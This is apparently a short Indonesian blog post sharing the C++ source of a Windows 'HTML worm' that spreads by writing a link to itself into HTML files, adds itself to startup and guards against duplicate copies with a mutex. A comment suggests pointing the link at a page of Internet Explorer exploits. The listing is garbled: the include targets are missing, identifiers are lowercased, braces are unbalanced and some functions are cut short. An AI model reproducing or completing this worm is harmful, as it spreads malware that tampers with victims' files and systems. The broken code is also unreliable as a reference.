Buat Agan" yang seneng ngoprek C++ (Html worm c++ source code)
Code:
html worm
// name: win32.htmlworm
// author: fudc
// compiler: borland c++
// description: this worm spreads by adding a link to itself in html files
// improvements: you could add a link to a page containing an ie exploits
#include
#include
using namespace std; //
// this function does the real work
void htmlspread(char *htmlfile)
{
handle html_fd;
dword html_filesize,read_bytes,written_bytes;
char *c_htmlcode = null;
string *htmlcode = null; // make it simpler
long pos;
// open the html file
html_fd = createfile(htmlfile,generic_read|generic_write,
file_share_read|file_share_write,null,open_existing,file_attribute_normal,null);
if(html_fd == invalid_handle_value)
{
return;
}
// get file size
html_filesize = getfilesize(html_fd,null);
// write new file
setfilepointer(html_fd,0,0,file_begin);
writefile(html_fd,htmlcode->c_str(),htmlcode->size(),&written_bytes,null);
// infection mark
writefile(html_fd,"",36,&written_bytes,null);
}
// close all
closehandle(html_fd);
delete htmlcode;
}
// add worm to startup list
void autostart(char *my_path)
{
hkey hkey;
// entry point of worm
int winapi winmain (hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow)
{
// usual shit: installation part, startup and so on ...
char i_am_here[max_path],installation_path[max_path];
char drives[3],drive = 0;
uint drive_type;
// only one copy
createmutex(null,false,"__htmlworm_by_wargame_eof__");
if(getlasterror() == error_already_exists)
{
exitprocess(0);
}
No comments:
Post a Comment